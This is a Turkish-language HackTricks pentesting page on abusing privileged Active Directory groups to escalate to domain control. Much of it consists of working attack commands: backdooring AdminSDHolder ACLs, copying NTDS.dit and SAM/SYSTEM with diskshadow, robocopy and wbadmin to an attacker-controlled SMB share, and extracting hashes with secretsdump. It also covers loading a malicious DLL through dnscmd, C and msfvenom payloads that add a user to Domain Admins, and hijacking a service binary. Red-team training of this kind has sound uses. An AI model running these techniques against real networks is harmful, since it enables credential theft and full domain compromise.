Ayrıcalıklı Gruplar
Reading time: 11 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Yönetim ayrıcalıklarına sahip Bilinen Gruplar
- Yönetici
- Alan Yöneticileri
- Kuruluş Yöneticileri
Hesap Operatörleri
Bu grup, alan üzerindeki yönetici olmayan hesaplar ve gruplar oluşturma yetkisine sahiptir. Ayrıca, Alan Denetleyicisi'ne (DC) yerel giriş yapmayı sağlar.
Bu grubun üyelerini tanımlamak için aşağıdaki komut çalıştırılır:
Get-NetGroupMember -Identity "Account Operators" -Recurse
Yeni kullanıcı eklemek ve DC01'e yerel giriş yapmak izinlidir.
AdminSDHolder grubu
AdminSDHolder grubunun Erişim Kontrol Listesi (ACL), Active Directory içindeki tüm "korunan gruplar" için izinleri belirlediğinden kritik öneme sahiptir; bu gruplar arasında yüksek ayrıcalıklı gruplar da bulunmaktadır. Bu mekanizma, yetkisiz değişiklikleri önleyerek bu grupların güvenliğini sağlar.
Bir saldırgan, AdminSDHolder grubunun ACL'sini değiştirerek standart bir kullanıcıya tam izinler verebilir. Bu, o kullanıcıya tüm korunan gruplar üzerinde tam kontrol sağlamış olur. Eğer bu kullanıcının izinleri değiştirilir veya kaldırılırsa, sistemin tasarımı gereği bir saat içinde otomatik olarak geri yüklenir.
Üyeleri gözden geçirmek ve izinleri değiştirmek için kullanılacak komutlar şunlardır:
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
Bir script, geri yükleme sürecini hızlandırmak için mevcuttur: Invoke-ADSDPropagation.ps1.
Daha fazla bilgi için ired.team adresini ziyaret edin.
AD Geri Dönüşüm Kutusu
Bu gruba üyelik, silinmiş Active Directory nesnelerinin okunmasına izin verir, bu da hassas bilgileri ortaya çıkarabilir:
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
Domain Controller Erişimi
DC üzerindeki dosyalara erişim, kullanıcı Server Operators
grubunun bir parçası değilse kısıtlıdır, bu da erişim seviyesini değiştirir.
Yetki Yükseltme
Sysinternals'tan PsService
veya sc
kullanarak, hizmet izinlerini inceleyebilir ve değiştirebilirsiniz. Örneğin, Server Operators
grubu belirli hizmetler üzerinde tam kontrol sahibidir, bu da keyfi komutların çalıştırılmasına ve yetki yükseltmeye olanak tanır:
C:\> .\PsService.exe security AppReadiness
Bu komut, Server Operators
grubunun tam erişime sahip olduğunu ve hizmetlerin yükseltilmiş ayrıcalıklar için manipüle edilmesine olanak tanıdığını gösterir.
Yedekleme Operatörleri
Backup Operators
grubuna üyelik, SeBackup
ve SeRestore
ayrıcalıkları nedeniyle DC01
dosya sistemine erişim sağlar. Bu ayrıcalıklar, açık izinler olmaksızın, FILE_FLAG_BACKUP_SEMANTICS
bayrağını kullanarak klasör geçişi, listeleme ve dosya kopyalama yeteneklerini etkinleştirir. Bu süreç için belirli betiklerin kullanılması gereklidir.
Grup üyelerini listelemek için şunu çalıştırın:
Get-NetGroupMember -Identity "Backup Operators" -Recurse
Yerel Saldırı
Bu ayrıcalıkları yerel olarak kullanmak için aşağıdaki adımlar uygulanır:
- Gerekli kütüphaneleri içe aktarın:
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
SeBackupPrivilege
'i etkinleştir ve doğrula:
Set-SeBackupPrivilege
Get-SeBackupPrivilege
- Kısıtlı dizinlerden dosyalara erişim sağlayın ve kopyalayın, örneğin:
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
AD Saldırısı
Domain Controller'ın dosya sistemine doğrudan erişim, domain kullanıcıları ve bilgisayarları için tüm NTLM hash'lerini içeren NTDS.dit
veritabanının çalınmasına olanak tanır.
diskshadow.exe Kullanarak
C
sürücüsünün bir gölge kopyasını oluşturun:
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
NTDS.dit
dosyasını yedek kopyadan kopyalayın:
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
Alternatif olarak, dosya kopyalamak için robocopy
kullanın:
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
- Hash alımı için
SYSTEM
veSAM
'i çıkarın:
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
NTDS.dit
dosyasından tüm hash'leri al:
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
wbadmin.exe Kullanımı
- Saldırgan makinede SMB sunucusu için NTFS dosya sistemini ayarlayın ve hedef makinede SMB kimlik bilgilerini önbelleğe alın.
- Sistem yedeği ve
NTDS.dit
çıkarımı içinwbadmin.exe
kullanın:
net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
Pratik bir gösterim için DEMO VIDEO WITH IPPSEC bağlantısına bakın.
DnsAdmins
DnsAdmins grubunun üyeleri, DNS sunucusunda (genellikle Alan Denetleyicileri üzerinde barındırılır) SYSTEM ayrıcalıklarıyla rastgele bir DLL yüklemek için ayrıcalıklarını kullanabilirler. Bu yetenek, önemli bir istismar potansiyeli sağlar.
DnsAdmins grubunun üyelerini listelemek için:
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
Rastgele DLL Yükle
Üyeler, DNS sunucusunun rastgele bir DLL'yi (yerel veya uzak bir paylaşımdan) yüklemesini sağlamak için aşağıdaki gibi komutlar kullanabilir:
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
DNS hizmetinin yeniden başlatılması (bu ek izinler gerektirebilir) DLL'nin yüklenmesi için gereklidir:
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
For more details on this attack vector, refer to ired.team.
Mimilib.dll
Mimilib.dll'yi belirli komutları veya ters shell'leri çalıştırmak için değiştirmek suretiyle komut yürütme amacıyla kullanmak da mümkündür. Check this post for more information.
WPAD Record for MitM
DnsAdmins, global sorgu engelleme listesini devre dışı bıraktıktan sonra bir WPAD kaydı oluşturarak Man-in-the-Middle (MitM) saldırıları gerçekleştirmek için DNS kayıtlarını manipüle edebilir. Responder veya Inveigh gibi araçlar, ağ trafiğini sahteleyip yakalamak için kullanılabilir.
Event Log Readers
Üyeler, düz metin şifreler veya komut yürütme detayları gibi hassas bilgileri bulma potansiyeline sahip olan olay günlüklerine erişebilirler:
# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
Exchange Windows İzinleri
Bu grup, alan nesnesi üzerindeki DACL'leri değiştirebilir ve potansiyel olarak DCSync ayrıcalıkları verebilir. Bu grubu istismar eden ayrıcalık yükseltme teknikleri Exchange-AD-Privesc GitHub repo'sunda detaylandırılmıştır.
# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
Hyper-V Yöneticileri
Hyper-V Yöneticileri, sanallaştırılmış Etki Alanı Denetleyicileri üzerinde kontrol sağlamak için kullanılabilecek Hyper-V'ye tam erişime sahiptir. Bu, canlı DC'lerin kopyalanmasını ve NTDS.dit dosyasından NTLM hash'lerinin çıkarılmasını içerir.
Sömürü Örneği
Firefox'un Mozilla Bakım Servisi, Hyper-V Yöneticileri tarafından SYSTEM olarak komutlar çalıştırmak için sömürülebilir. Bu, korumalı bir SYSTEM dosyasına sert bir bağlantı oluşturarak ve bunu kötü niyetli bir çalıştırılabilir dosya ile değiştirmeyi içerir:
# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance
Not: Hard link istismarı, son Windows güncellemeleri ile azaltılmıştır.
Organizasyon Yönetimi
Microsoft Exchange'in dağıtıldığı ortamlarda, Organizasyon Yönetimi olarak bilinen özel bir grup önemli yetkilere sahiptir. Bu grup, tüm alan kullanıcılarının posta kutularına erişim hakkına sahiptir ve 'Microsoft Exchange Güvenlik Grupları' Organizasyonel Birimi (OU) üzerinde tam kontrol sağlar. Bu kontrol, ayrıcalık yükseltmesi için istismar edilebilecek Exchange Windows Permissions
grubunu da içerir.
Ayrıcalık İstismarı ve Komutlar
Yazdırma Operatörleri
Yazdırma Operatörleri grubunun üyeleri, SeLoadDriverPrivilege
dahil olmak üzere birkaç ayrıcalıkla donatılmıştır; bu, onlara bir Alan Denetleyicisine yerel olarak giriş yapma, onu kapatma ve yazıcıları yönetme yetkisi verir. Bu ayrıcalıkları istismar etmek için, özellikle SeLoadDriverPrivilege
yükseltilmemiş bir bağlamda görünmüyorsa, Kullanıcı Hesabı Kontrolü'nü (UAC) atlamak gereklidir.
Bu grubun üyelerini listelemek için aşağıdaki PowerShell komutu kullanılır:
Get-NetGroupMember -Identity "Print Operators" -Recurse
Daha ayrıntılı istismar teknikleri için SeLoadDriverPrivilege
ile ilgili olarak, belirli güvenlik kaynaklarına başvurulmalıdır.
Uzak Masaüstü Kullanıcıları
Bu grubun üyelerine Uzak Masaüstü Protokolü (RDP) aracılığıyla PC'lere erişim izni verilir. Bu üyeleri listelemek için PowerShell komutları mevcuttur:
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
RDP'yi istismar etme konusunda daha fazla bilgiye özel pentesting kaynaklarında ulaşılabilir.
Uzaktan Yönetim Kullanıcıları
Üyeler Windows Uzaktan Yönetimi (WinRM) üzerinden PC'lere erişebilir. Bu üyelerin belirlenmesi şu şekilde gerçekleştirilir:
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
WinRM ile ilgili istismar teknikleri için belirli belgeler incelenmelidir.
Sunucu Operatörleri
Bu grup, Yedekleme ve geri yükleme ayrıcalıkları, sistem saatini değiştirme ve sistemi kapatma dahil olmak üzere Etki Alanı Denetleyicileri üzerinde çeşitli yapılandırmalar gerçekleştirme izinlerine sahiptir. Üyeleri listelemek için verilen komut:
Get-NetGroupMember -Identity "Server Operators" -Recurse
Referanslar
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges
- https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/
- https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory
- https://docs.microsoft.com/en-us/windows/desktop/secauthz/enabling-and-disabling-privileges-in-c--
- https://adsecurity.org/?p=3658
- http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
- https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/
- https://rastamouse.me/2019/01/gpo-abuse-part-1/
- https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp#L13
- https://github.com/tandasat/ExploitCapcom
- https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp
- https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys
- https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e
- https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.